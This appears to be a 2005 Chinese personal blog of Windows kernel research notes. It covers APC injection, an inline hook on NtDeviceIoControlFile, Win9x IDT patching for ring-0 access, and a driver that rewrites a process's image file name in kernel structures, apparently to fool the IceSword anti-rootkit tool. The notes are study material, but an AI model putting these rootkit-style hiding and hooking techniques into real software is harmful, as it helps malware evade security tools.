2005年10月30日
#include <ntddk.h>
NTSTATUS uSetTheApc(VOID);
VOID WorkThreAd(IN PVOID pContext);
void KernelApcCAllBAck(PKAPC Apc, PKNORMAL_ROUTINE NormalRoutine, 
PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2);
void UserApcCAllBAck(PVOID arg1, PVOID arg2, PVOID arg3);
VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject );
/* Function prototypes for APCs */
void
KeInitializeApc(
  PKAPC Apc,
  PKTHREAD Thread,
  CCHAR ApcStateIndex,
  PKKERNEL_ROUTINE KernelRoutine,
  PKRUNDOWN_ROUTINE RundownRoutine,
  PKNORMAL_ROUTINE NormalRoutine,
  KPROCESSOR_MODE ApcMode,
  PVOID NormalContext
);

BOOLEAN
KeInsertQueueApc(
  PKAPC Apc,
  PVOID SystemArgument1,
  PVOID SystemArgument2,
  UCHAR unknown
);

PETHREAD	pThreAd;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{
	HANDLE		hThreAd;
	NTSTATUS	dwStAtus;
	DbgPrint("Driver Begin!\n");
	DriverObject->DriverUnload = OnUnloAd;
	dwStAtus = PsCreateSystemThread(&hThreAd,
				(ACCESS_MASK)0,
				NULL,
				(HANDLE)0,
				NULL,
				WorkThreAd,
				NULL
				);
	if (!NT_SUCCESS(dwStAtus)){
		DbgPrint("error when creAte the threAd\n");
		return dwStAtus;
	}
	dwStAtus = ObReferenceObjectByHandle(hThreAd,
					THREAD_ALL_ACCESS,
					NULL,
					KernelMode,
					&pThreAd,
					NULL
					);
	if (!NT_SUCCESS(dwStAtus)){
		DbgPrint("error when ObReferneceObjectByHAndlen");
		return dwStAtus;
	}

	ZwClose(hThreAd);

	return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID OnUnloAd( IN PDRIVER_OBJECT DriverObject )
{
	ObDereferenceObject(pThreAd);
	DbgPrint("Driver End!\n");
}
//--------------------------------------------------------------------
VOID WorkThreAd(IN PVOID pContext)
{
	uSetTheApc();

	PsTerminateSystemThread(STATUS_SUCCESS);
	DbgPrint("Never be here ?\n");
}
//--------------------------------------------------------------------
NTSTATUS uSetTheApc(VOID)
{
	NTSTATUS	dwStAtus = STATUS_SUCCESS;
	PKAPC		pkApc;
	BOOLEAN		bBool;
	pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
	if (pkApc == NULL){
		DbgPrint("error:ExAllocAtePool\n");
		return STATUS_INSUFFICIENT_RESOURCES;
	}
	KeInitializeApc(pkApc,
					(PKTHREAD)pThreAd,
					0,
					(PKKERNEL_ROUTINE)&KernelApcCAllBAck,
					0,
					(PKNORMAL_ROUTINE)&UserApcCAllBAck,
					KernelMode,
					NULL
					);
	bBool = KeInsertQueueApc(pkApc,NULL,NULL,0);
	if(bBool == FALSE){
		DbgPrint("error:KeInsertQueueApc\n");
	}
	return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
void
KernelApcCAllBAck(PKAPC Apc, PKNORMAL_ROUTINE NormalRoutine, PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
	KEVENT event;
	LARGE_INTEGER Timeout;

	DbgPrint("Freeing APC Object\n");

	ExFreePool(Apc);    /* free the kernel memory */

	Timeout.QuadPart = 0;
	KeDelayExecutionThread(UserMode, TRUE, &Timeout);

	/*
	* Another way for a thread to set itself in alertable state
	* (MSJ, Nerditorium, July 99):
	*
	* KeInitializeEvent(&event, SynchronizationEvent, FALSE);
	* KeWaitForSingleObject(&event, Executive, UserMode, TRUE, &Timeout);
	*/

	return;
}
//--------------------------------------------------------------------
void
UserApcCAllBAck(PVOID arg1, PVOID arg2, PVOID arg3)
{
	DbgPrint("in UserApcCAllBAck\n");
	return;
}
//--------------------------------------------------------------------

在创建的系统线程上,

KeInitializeApc(pkApc,
	(PKTHREAD)pThreAd,
	0,
	(PKKERNEL_ROUTINE)&KernelApcCAllBAck,
	0,
	(PKNORMAL_ROUTINE)&UserApcCAllBAck,
	KernelMode,
	NULL
	);

只能是KernelMode,也许是这种就没有ring3执行的机会的原因吧,KernelApcCAllBAck执行了,UserApcCAllBAck不被执行

把要插入APC的线程改成用户线程时(用的是空挡接龙的线程,freecell.exe),很奇怪,当是UserMode的时候,Kernel APC KernelApcCAllBAck并没有执行,但被加到了APC链里,这样UserApcCAllBAck自然也执行不了

kd> !apc
*** Enumerating APCs in all processes
Process 80f10020 System
Process 80ed9020 smss.exe
Process 80dc37a8 csrss.exe
Process 80d8d7b0 winlogon.exe
Process 80d66808 services.exe
Process 80d543a0 lsass.exe
Process ffbc7020 svchost.exe
Process ffbc13f0 svchost.exe
Process ffbb4020 svchost.exe
Process ffbac170 svchost.exe
Process ffb8d878 spoolsv.exe
Process ffb5d020 VMwareService.e
Process ffb49b30 explorer.exe
Process ffb0f750 VMwareTray.exe
Process ffb0f160 VMwareUser.exe
Process ffb0c130 ctfmon.exe
Process 80dc0da8 cmd.exe
Process 80d565b8 conime.exe
Process 80d62c68 freecell.exe
    Thread 80d62558 ApcStateIndex 0 ApcListHead 80d62594 [USER]
        KAPC @ 80e58c08
          Type           12
          KernelRoutine  fa5224b4 tryKernelMessAgeBox!KernelApcCAllBAck+0
          RundownRoutine 00000000 +0

显示的那个[USER]不知道代表什么…..

当是KernelMode时,KernelApcCAllBAck和UserApcCAllBAck都执行了

Driver End!
Driver Begin!
Freeing APC Object
in UserApcCAllBAck

而这时候执行的是在ring0,比如fs是0×30而不是ring0时的0×38

这种方法是在codeproject上的文章介绍的,不需要在KTHREAD 0×4A 的地方改1来让threAd变成Alerted,不知道直接改后用上面的程序会是个什么结果…..

都被导出了,只不过没文档
The KeAttachProcess kernel routine is exported to support existing binaries and is obsolete. Use KeStackAttachProcess instead. KeStackAttachProcess is declared in ntifs.h and is prototyped as follows:

NTKERNELAPI VOID KeStackAttachProcess (IN PRKPROCESS
 Process, OUT PRKAPC_STATE ApcState);
The Process parameter is a pointer to the target process object. The ApcState parameter is an opaque pointer to a KAPC_STATE structure for which the caller must allocate storage either from nonpaged pool or from the caller’s own thread stack.

KeStackAttachProcess attaches the current thread to the address space of the process pointed to by the Process parameter. If the current thread was already attached to another process, the ApcState parameter receives the current APC state before KeStackAttachProcess attaches to the new process.


NTKERNELAPI VOID KeUnstackDetachProcess (IN PRKAPC_STATE ApcState);

VOID
KeInitializeApc (
    IN PRKAPC Apc,
    IN PRKTHREAD Thread,
    IN KAPC_ENVIRONMENT Environment,
    IN PKKERNEL_ROUTINE KernelRoutine,
    IN PKRUNDOWN_ROUTINE RundownRoutine OPTIONAL,
    IN PKNORMAL_ROUTINE NormalRoutine OPTIONAL,
    IN KPROCESSOR_MODE ApcMode OPTIONAL,
    IN PVOID NormalContext OPTIONAL
    )

/*++

Routine Description:

    This function initializes a kernel APC object. The thread, kernel
    routine, and optionally a normal routine, processor mode, and normal
    context parameter are stored in the APC object.

Arguments:

    Apc - Supplies a pointer to a control object of type APC.

    Thread - Supplies a pointer to a dispatcher object of type thread.

    Environment - Supplies the environment in which the APC will execute.
        Valid values for this parameter are: OriginalApcEnvironment,
        AttachedApcEnvironment, or CurrentApcEnvironment.

    KernelRoutine - Supplies a pointer to a function that is to be
        executed at IRQL APC_LEVEL in kernel mode.

    RundownRoutine - Supplies an optional pointer to a function that is to be
        called if the APC is in a thread's APC queue when the thread terminates.

    NormalRoutine - Supplies an optional pointer to a function that is
        to be executed at IRQL 0 in the specified processor mode. If this
        parameter is not specified, then the ProcessorMode and NormalContext
        parameters are ignored.

    ApcMode - Supplies the processor mode in which the function specified
        by the NormalRoutine parameter is to be executed.

    NormalContext - Supplies a pointer to an arbitrary data structure which is
        to be passed to the function specified by the NormalRoutine parameter.

Return Value:

    None.

--*/

BOOLEAN
KeInsertQueueApc (
    IN PRKAPC Apc,
    IN PVOID SystemArgument1,
    IN PVOID SystemArgument2,
    IN KPRIORITY Increment
    )

/*++

Routine Description:

    This function inserts an APC object into the APC queue specifed by the
    thread and processor mode fields of the APC object. If the APC object
    is already in an APC queue or APC queuing is disabled, then no operation
    is performed. Otherwise the APC object is inserted in the specified queue
    and appropriate scheduling decisions are made.

Arguments:

    Apc - Supplies a pointer to a control object of type APC.

    SystemArgument1, SystemArgument2 - Supply a set of two arguments that
        contain untyped data provided by the executive.

    Increment - Supplies the priority increment that is to be applied if
        queuing the APC causes a thread wait to be satisfied.

Return Value:

    If the APC object is already in an APC queue or APC queuing is disabled,
    then a value of FALSE is returned. Otherwise a value of TRUE is returned.

--*/

KernelRoutine和NormAilRoutine的原形是什么样还没在源码里找到,从那篇CreateProcess in KernelMode里看似乎是

VOID KernelRoutine( IN struct _KAPC *Apc,
                    IN OUT PKNORMAL_ROUTINE *NormalRoutine,
                    IN OUT PVOID *NormalContext,
                    IN OUT PVOID *SystemArgument1,   
                    IN OUT PVOID *SystemArgument2
                    );


void NormAlRoutine(IN PVOID NormalContext,
                   IN PVOID SystemArgument1
,
                   IN PVOID SystemArgument2

                   );

还没验证是否正确,如果Kernel的参数是 IN OUT的话,说明它在NornAlRoutine前执行,并可以控制参数

在源码里还翻到这样的一个结构

//
// Private (internal) structure definitions.
//
// APC Parameter structure.
//

typedef struct _KAPC_RECORD {
    PKNORMAL_ROUTINE NormalRoutine;
    PVOID NormalContext;
    PVOID SystemArgument1;
    PVOID SystemArgument2;
} KAPC_RECORD, *PKAPC_RECORD;


2005年10月29日
//from privAte\net\sockets\winsock2\dll\sinsock2\Addrconv.cpp
#define HTONS(s) ( ( ((s) >> 8) & 0x00FF ) | ( ((s) << 8) & 0xFF00 ) )
#define HTONL(l)                            \
	( ( ((l) >> 24) & 0x000000FFL ) |       \
	( ((l) >>  8) & 0x0000FF00L ) |       \
	( ((l) <<  8) & 0x00FF0000L ) |       \
	( ((l) << 24) & 0xFF000000L ) )
// these defines are used to check if address parts are in range
#define MAX_EIGHT_BIT_VALUE       0xff
#define MAX_SIXTEEN_BIT_VALUE     0xffff
#define MAX_TWENTY_FOUR_BIT_VALUE 0xffffff

// Defines for different based numbers in an address
#define BASE_TEN     10
#define BASE_EIGHT   8
#define BASE_SIXTEEN 16

#define INADDR_NONE             0xffffffff
unsigned long
inet_addr (
           IN const char FAR * cp
           )
/*++
Routine Description:

    Convert a string containing an Internet Protocol dotted address into an
    in_addr.

Arguments:

    cp - A null terminated character string representing a number expressed in
         the Internet standard ".'' notation.

Returns:

    If no error occurs, inet_addr() returns an unsigned long containing a
    suitable binary representation of the Internet address given.  If the
    passed-in string does not contain a legitimate Internet address, for
    example if a portion of an "a.b.c.d" address exceeds 255, inet_addr()
    returns the value INADDR_NONE.

--*/
{
    ULONG value;                // value to return to the user
    ULONG number_base;          // The number base in use for an
                                 // address field
    ULONG address_field_count;  // How many fields where found in the
                                 // address string
    char c;                      // temp variable to hold the charater
                                 // that is being processed currently
    ULONG fields[4];            // an array of unsigned longs to
                                 // recieve the values from each field
                                 // in the address
    ULONG *p_fields = fields;   // a pointer used to index through
                                 // the 'fields' array
    BOOLEAN MoreFields = TRUE;      // Are there more address fields to scan

    if( cp == NULL ) {
        //SetLastError( WSAEFAULT );
        return INADDR_NONE;
    }

    while (MoreFields) {
//
//    Collect number up to ``.''.
//    Values are specified as for C:
//    0x=hex, 0=octal, other=decimal.
//
        value = 0;
        number_base = BASE_TEN;
        // Is the first charater '0' ?
        // The default number base is base ten. If the first charater in
        // an address field is '0' then the user is using octal or hex
        // notation for the assress field
        if (*cp == '0') {
            // If the second charater in the field is x or X then this is
            // a hex number else it is an octal number.
            if (*++cp == 'x' ||
                *cp == 'X') {
                number_base = BASE_SIXTEEN;
                cp++; // skip the x
            }
            else {
                number_base = BASE_EIGHT;
            }
        }

        // Process the charaters in the address string until a non digit
        // charater is found.
        c = *cp;
        while (c) {
            if (isdigit(c)) {
                value = (value * number_base) + (c - '0');
                cp++;
                c = *cp;
                continue;
            }
            if ((number_base == BASE_SIXTEEN) && isxdigit(c)) {
                value = (value << 4) + (c + 10 - (islower(c) ? 'a' : 'A'));
                cp++;
                c = *cp;
                continue;
            }
            break;
        }

        // Is the charater following the the number a '.'. If so skip the
        // the '.' and scan the next field.
        if (*cp == '.') {
            /*
             * Internet format:
             *  a.b.c.d
             *  a.b.c   (with c treated as 16-bits)
             *  a.b (with b treated as 24 bits)
             */
            if (p_fields >= fields + 3) {
                // and internet address cannot have more than 4 fields so
                // return an error
                return (INADDR_NONE);
            }
            // set the value of this part of the addess and advance
            // the pointer to the next part
            *p_fields++ = value;
            //
            cp++;
        }
        else {
            MoreFields=FALSE;
        } //else
    } //while

    //
    //  Check for trailing characters. A valid address can end with
    //  NULL or whitespace. An address may not end with a '.'
    //
    if ((*cp == '\0' && *(cp - 1) == '.') ||
        (*cp && !isspace(*cp))) {
        return (INADDR_NONE);
    }

    // set the the value of the final field in the address
    *p_fields++ = value;

    //
    // Concoct the address according to the number of fields
    // specified.
    //
    address_field_count = p_fields - fields;
    switch (address_field_count) {

      case 1:               // a -- 32 bits
        value = fields[0];
        break;

      case 2:               // a.b -- 8.24 bits
        if (fields[0] > MAX_EIGHT_BIT_VALUE ||
            fields[1] > MAX_TWENTY_FOUR_BIT_VALUE) {
            return (INADDR_NONE);
        } //if
        else {
            value = (fields[0] << 24) |
            (fields[1] & MAX_TWENTY_FOUR_BIT_VALUE);
        } //else
        break;

      case 3:               // a.b.c -- 8.8.16 bits
        if (fields[0] > MAX_EIGHT_BIT_VALUE ||
            fields[1] > MAX_EIGHT_BIT_VALUE ||
            fields[2] > MAX_SIXTEEN_BIT_VALUE ) {
            return (INADDR_NONE);
        } //if
        else {
            value = (fields[0] << 24) |
            ((fields[1] & MAX_EIGHT_BIT_VALUE) << 16) |
            (fields[2] & MAX_SIXTEEN_BIT_VALUE);
        } //else
        break;

      case 4:            // a.b.c.d -- 8.8.8.8 bits
        if (fields[0] > MAX_EIGHT_BIT_VALUE ||
            fields[1] > MAX_EIGHT_BIT_VALUE ||
            fields[2] > MAX_EIGHT_BIT_VALUE ||
            fields[3] > MAX_EIGHT_BIT_VALUE ) {
            return (INADDR_NONE);
        } //if
        else {
            value = (fields[0] << 24) |
            ((fields[1] & MAX_EIGHT_BIT_VALUE) << 16) |
            ((fields[2] & MAX_EIGHT_BIT_VALUE) << 8) |
            (fields[3] & MAX_EIGHT_BIT_VALUE);
        } //else
        break;

        // if the address string handed to us has more than 4 address
        // fields return an error
      default:
        return (INADDR_NONE);
    } // switch
    // convert the value to network byte order and return it to the user.
    value = HTONL(value);
    return (value);
}
//--------------------------------------------------------------------
2005年10月26日
int i = 1;
int j;
j=sizeof (++i);
printf("%d\n",i);

.嘿嘿 结果是1

2005年10月25日

调那个inline hook,在虚拟机上,不开ie,运行后没问题,cpu占用正常,,单步跟过去也都一切正常.只要一开ie,,马上cpu就100%,在nt!NtDeviceIoControlFile处设个端点,单步发现极奇怪

kd> bp nt!NtDeviceIoControlFile
kd> g
Breakpoint 0 hit
nt!NtDeviceIoControlFile:
805997c4 ea20635dfa0800 jmp 0008:migsys!my_function_detour_ntdeviceiocontrolfile (fa5d6320)
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile:
fa5d6320 55               push    ebp
kd> p
Breakpoint 0 hit
nt!NtDeviceIoControlFile:
805997c4 ea20635dfa0800 jmp 0008:migsys!my_function_detour_ntdeviceiocontrolfile (fa5d6320)
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x1:
fa5d6321 8bec             mov     ebp,esp
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x3:
fa5d6323 ff752c           push    dword ptr [ebp+0x2c]
kd> p
nt!KiTrap03:
804dc082 6a00             push    0x0
kd> p
nt!KiTrap03+0x2:
804dc084 66c74424020000   mov     word ptr [esp+0x2],0x0
kd> p
nt!KiTrap03+0x9:
804dc08b 55               push    ebp
kd> ln KiTrAp03
(804dc082)   nt!KiTrap03   |  (804dc13d)   nt!Dr_kit4_a
Exact matches:
    nt!KiTrap03 = <no type information>
kd> p
nt!KiTrap03+0xa:
804dc08c 53               push    ebx
kd> p
nt!KiTrap03+0xb:
804dc08d 56               push    esi
kd> g
Breakpoint 0 hit
nt!NtDeviceIoControlFile:
805997c4 ea20635dfa0800 jmp 0008:migsys!my_function_detour_ntdeviceiocontrolfile (fa5d6320)
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile:
fa5d6320 55               push    ebp
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x6:
fa5d6326 ff7528           push    dword ptr [ebp+0x28]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x9:
fa5d6329 ff7524           push    dword ptr [ebp+0x24]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x1:
fa5d6321 8bec             mov     ebp,esp
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0xc:
fa5d632c ff7520           push    dword ptr [ebp+0x20]
kd> u migsys!my_function_detour_ntdeviceiocontrolfile
migsys!my_function_detour_ntdeviceiocontrolfile [d:\test_inline_hook\migsys.c @ 87]:
fa5d6320 55               push    ebp
fa5d6321 8bec             mov     ebp,esp
fa5d6323 ff752c           push    dword ptr [ebp+0x2c]
fa5d6326 ff7528           push    dword ptr [ebp+0x28]
fa5d6329 ff7524           push    dword ptr [ebp+0x24]
fa5d632c ff7520           push    dword ptr [ebp+0x20]
fa5d632f ff751c           push    dword ptr [ebp+0x1c]
fa5d6332 ff7518           push    dword ptr [ebp+0x18]

怎么还执行了几句就跳到后面一句了?

kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x3:
fa5d6323 ff752c           push    dword ptr [ebp+0x2c]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0xf:
fa5d632f ff751c           push    dword ptr [ebp+0x1c]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x12:
fa5d6332 ff7518           push    dword ptr [ebp+0x18]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x6:
fa5d6326 ff7528           push    dword ptr [ebp+0x28]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x15:
fa5d6335 ff7514           push    dword ptr [ebp+0x14]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x18:
fa5d6338 ff7510           push    dword ptr [ebp+0x10]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x9:
fa5d6329 ff7524           push    dword ptr [ebp+0x24]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0xc:
fa5d632c ff7520           push    dword ptr [ebp+0x20]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x1b:
fa5d633b ff750c           push    dword ptr [ebp+0xc]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x1e:
fa5d633e ff7508           push    dword ptr [ebp+0x8]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0xf:
fa5d632f ff751c           push    dword ptr [ebp+0x1c]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x21:
fa5d6341 eb0f jmp migsys!my_function_detour_ntdeviceiocontrolfile+0x32 (fa5d6352)
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x32:
fa5d6352 e8ecffffff call migsys!my_function_detour_ntdeviceiocontrolfile+0x23 (fa5d6343)
kd> t
migsys!my_function_detour_ntdeviceiocontrolfile+0x12:
fa5d6332 ff7518           push    dword ptr [ebp+0x18]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x15:
fa5d6335 ff7514           push    dword ptr [ebp+0x14]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x23:
fa5d6343 55               push    ebp
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x24:
fa5d6344 8bec             mov     ebp,esp
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x18:
fa5d6338 ff7510           push    dword ptr [ebp+0x10]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x1b:
fa5d633b ff750c           push    dword ptr [ebp+0xc]
kd> p
migsys!my_function_detour_ntdeviceiocontrolfile+0x26:
fa5d6346 6a01             push    0x1

不过看看还是很有规律的,就像是有2个线程在同时执行,一个执行两句后换另一个执行,eip也总是跳着变,但并没有任何跳转指令,全都是push .cr3一直没变,a593000  说明进程没变,,靠,扯不上都. 不知道单步的时候会不会出现线程切换的问题,另外那个KiTrAp03是怎样跑到那去的?  晕……

2005年10月21日

一个是模拟系统的过程创建个user的threAd,还有就是用用cAll gAte,,试试用驱动建个cAll GAte就卸载,然后用cAll GAte来完成任务

2005年10月17日

一个Win9x下的程序,当程序执行int3会去哪里?
00402CF4     PUSH EBP
00402CF5     MOV  EBP,ESP
00402CF7     PUSHAD
00402CF8     PUSHFD
00402CF9     CLI
00402CFA     SIDT FWORD PTR DS:[41F434]
00402D01     MOV  EBX,DWORD PTR DS:[41F436]
00402D07     ADD  EBX,18
00402D0A     MOV  EAX,DWORD PTR DS:[EBX]
00402D0C     MOV  DWORD PTR DS:[41F42C],EAX
00402D11     MOV  EAX,DWORD PTR DS:[EBX+4]
00402D14     MOV  DWORD PTR DS:[41F430],EAX
00402D19     MOV  EAX,DWORD PTR SS:[EBP+8]
00402D1C     MOV  WORD PTR DS:[EBX],AX
00402D1F     SHR  EAX,10
00402D22     MOV  WORD PTR DS:[EBX+6],AX
00402D26     MOV  WORD PTR DS:[EBX+4],0EE00
00402D2C     INT3
00402D2D     MOV  EBX,DWORD PTR DS:[41F436]
00402D33     ADD  EBX,18
00402D36     MOV  EAX,DWORD PTR DS:[41F42C]
00402D3B     MOV  DWORD PTR DS:[EBX],EAX
00402D3D     MOV  EAX,DWORD PTR DS:[41F430]
00402D42     MOV  DWORD PTR DS:[EBX+4],EAX
00402D45     POPFD
00402D46     POPAD
00402D47     LEAVE
00402D48     RETN 4

- 00402CF4     PUSH EBP
- 00402CF5     MOV  EBP,ESP
- 00402CF7     PUSHAD
- 00402CF8     PUSHFD
- 00402CF9     CLI
- 00402CFA     SIDT FWORD PTR DS:[41F434]
- 00402D01     MOV  EBX,DWORD PTR DS:[41F436]  ;EBX = IdtBase
- 00402D07     ADD  EBX,18                     ;interrupt 3
- 00402D0A     MOV  EAX,DWORD PTR DS:[EBX]     ;backup
- 00402D0C     MOV  DWORD PTR DS:[41F42C],EAX
- 00402D11     MOV  EAX,DWORD PTR DS:[EBX+4]
- 00402D14     MOV  DWORD PTR DS:[41F430],EAX
- 00402D19     MOV  EAX,DWORD PTR SS:[EBP+8]   ;EAX = Parameter1(EAX == handler)
- 00402D1C     MOV  WORD PTR DS:[EBX],AX       ;Set new INT3 handler (Low)
- 00402D1F     SHR  EAX,10
- 00402D22     MOV  WORD PTR DS:[EBX+6],AX     ;Set new INT3 handler (High)
- 00402D26     MOV  WORD PTR DS:[EBX+4],0EE00  ;32bit ring3 Interrupt Gate
- 00402D2C     INT3
- 00402D2D     MOV  EBX,DWORD PTR DS:[41F436]  ;restore

2005年10月14日

An object that represents a block of memory that two or more processes can share. A section object can be mapped to the paging file or to another file on disk. The executive uses section objects to load executable images into memory, and the cache manager uses them to access data in a cached file. In the Windows subsystem, a section object is called a file-mapping object.

 
如果section对应的是个文件,就应该能在section object中找到文件的位置及文件名
在_EPROCESS中+0×138 SectionObject    : Ptr32 Void (xp sp1),一个指针指向section object,用windbg找到位置是
EPROCESS->SectionObject->Segment->ControlAreA->FilePointer->FileNAme
kd> dt _SECTION_OBJECT
   +0x000 StartingVa       : Ptr32 Void
   +0x004 EndingVa         : Ptr32 Void
   +0x008 Parent           : Ptr32 Void
   +0x00c LeftChild        : Ptr32 Void
   +0x010 RightChild       : Ptr32 Void
   +0x014 Segment          : Ptr32 _SEGMENT_OBJECT


然而这里的Segment不应该用结构_SENGMENT_OBJECT而是_SEGMENT,为什么有这两个结构我还不清楚,开始一直用的_SEGMENT_OBJECT,所以后面就一直错,后来翻到了zzzevAzzz的一篇回贴才知道,并且在俄文的bugtrAq上看到用的是_SEGMENT
kd> dt _SEGMENT_OBJECT
   +0x000 BaseAddress      : Ptr32 Void
   +0x004 TotalNumberOfPtes : Uint4B
   +0x008 SizeOfSegment    : _LARGE_INTEGER
   +0x010 NonExtendedPtes  : Uint4B
   +0x014 ImageCommitment  : Uint4B
   +0x018 ControlArea      : Ptr32 _CONTROL_AREA
   +0x01c Subsection       : Ptr32 _SUBSECTION
   +0x020 LargeControlArea : Ptr32 _LARGE_CONTROL_AREA
   +0x024 MmSectionFlags   : Ptr32 _MMSECTION_FLAGS
   +0x028 MmSubSectionFlags : Ptr32 _MMSUBSECTION_FLAGS
kd> dt _SEGMENT
   +0x000 ControlArea      : Ptr32 _CONTROL_AREA
   +0x004 TotalNumberOfPtes : Uint4B
   +0x008 NonExtendedPtes  : Uint4B
   +0x00c WritableUserReferences : Uint4B
   +0x010 SizeOfSegment    : Uint8B
   +0x018 SegmentPteTemplate : _MMPTE
   +0x01c NumberOfCommittedPages : Uint4B
   +0x020 ExtendInfo       : Ptr32 _MMEXTEND_INFO
   +0x024 SystemImageBase  : Ptr32 Void
   +0x028 BasedAddress     : Ptr32 Void
   +0x02c u1               : __unnamed
   +0x030 u2               : __unnamed
   +0x034 PrototypePte     : Ptr32 _MMPTE
   +0x038 ThePtes          : [1] _MMPTE
kd> dt _CONTROL_AREA
   +0x000 Segment          : Ptr32 _SEGMENT
   +0x004 DereferenceList  : _LIST_ENTRY
   +0x00c NumberOfSectionReferences : Uint4B
   +0x010 NumberOfPfnReferences : Uint4B
   +0x014 NumberOfMappedViews : Uint4B
   +0x018 NumberOfSubsections : Uint2B
   +0x01a FlushInProgressCount : Uint2B
   +0x01c NumberOfUserReferences : Uint4B
   +0x020 u                : __unnamed
   +0x024 FilePointer      : Ptr32 _FILE_OBJECT
   +0x028 WaitingForDeletion : Ptr32 _EVENT_COUNTER
   +0x02c ModifiedWriteCount : Uint2B
   +0x02e NumberOfSystemCacheViews : Uint2B
kd> dt _FILE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Vpb              : Ptr32 _VPB
   +0x00c FsContext        : Ptr32 Void
   +0x010 FsContext2       : Ptr32 Void
   +0x014 SectionObjectPointer : Ptr32 _SECTION_OBJECT_POINTERS
   +0x018 PrivateCacheMap  : Ptr32 Void
   +0x01c FinalStatus      : Int4B
   +0x020 RelatedFileObject : Ptr32 _FILE_OBJECT
   +0x024 LockOperation    : UChar
   +0x025 DeletePending    : UChar
   +0x026 ReadAccess       : UChar
   +0x027 WriteAccess      : UChar
   +0x028 DeleteAccess     : UChar
   +0x029 SharedRead       : UChar
   +0x02a SharedWrite      : UChar
   +0x02b SharedDelete     : UChar
   +0x02c Flags            : Uint4B
   +0x030 FileName         : _UNICODE_STRING
   +0x038 CurrentByteOffset : _LARGE_INTEGER
   +0x040 Waiters          : Uint4B
   +0x044 Busy             : Uint4B
   +0x048 LastLock         : Ptr32 Void
   +0x04c Lock             : _KEVENT
   +0x05c Event            : _KEVENT
   +0x06c CompletionContext : Ptr32 _IO_COMPLETION_CONTEXT
FileNAme中就是文件名,带路径,不带盘符,盘符是DeviceObject对应的,Vpb中也有
kd> dt _vpb
ntdll!_VPB
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 Flags            : Uint2B
   +0x006 VolumeLabelLength : Uint2B
   +0x008 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x00c RealDevice       : Ptr32 _DEVICE_OBJECT
   +0x010 SerialNumber     : Uint4B
   +0x014 ReferenceCount   : Uint4B
   +0x018 VolumeLabel      : [32] Uint2B
改路径的时候可能要把这两个地方都改了吧,但不知道会不会影响正常工作,不过改了几个进程以后并没有crAsh
 
#include <ntddk.h>

#define DWORD ULONG

void DriverUnloAd(IN PDRIVER_OBJECT Driver_object);
NTSTATUS DriverDispAtch(IN PDEVICE_OBJECT DeviceObject,
						IN PIRP	Irp);
DWORD FindProcessEPROC (int terminate_PID);

int PIDOFFSET	= 0x84;
int FLINKOFFSET = 0x88;

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
	DWORD eproc = 0x00000000;
	ULONG p;
	PUNICODE_STRING  pString;
	DriverObject->MajorFunction[IRP_MJ_CREATE]	=
	DriverObject->MajorFunction[IRP_MJ_CLOSE]	= DriverDispAtch;
	DriverObject->DriverUnload = DriverUnloAd;

	eproc = FindProcessEPROC(1680);
	if (eproc == 0x0000000) return 0;

	//__asm int 3;
	p = eproc + 0x138;/*+0x138 SectionObject    : Ptr32 Void*/
	p = *(PULONG)p + 0x14;/*+0x014 Segment          : Ptr32 _SEGMENT_OBJECT*/
	p = *(PULONG)p + 0x0;/*+0x000 ControlArea      : Ptr32 _CONTROL_AREA*/
	p = *(PULONG)p + 0x24;/*+0x024 FilePointer      : Ptr32 _FILE_OBJECT*/
	pString = (PUNICODE_STRING)(*(PULONG)p + 0x30);/*+0x030 FileName         : _UNICODE_STRING*/
	RtlCopyMemory(pString->Buffer,L"\\icesword.exe",sizeof(L"\\icesword.exe"));
	pString->Length = sizeof(L"\\icesword.exe");
	DbgPrint("chAnged :>\n");
	return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS DriverDispAtch(IN PDEVICE_OBJECT DeviceObject,
						IN PIRP	Irp)
{
	Irp->IoStatus.Status = STATUS_SUCCESS;
	IoCompleteRequest(Irp,IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
void DriverUnloAd(IN PDRIVER_OBJECT Driver_object)
{

}
//--------------------------------------------------------------------
DWORD FindProcessEPROC (int terminate_PID)
{
	DWORD eproc       = 0x00000000;
	int   current_PID = 0;
	int   start_PID   = 0;
	int   i_count     = 0;
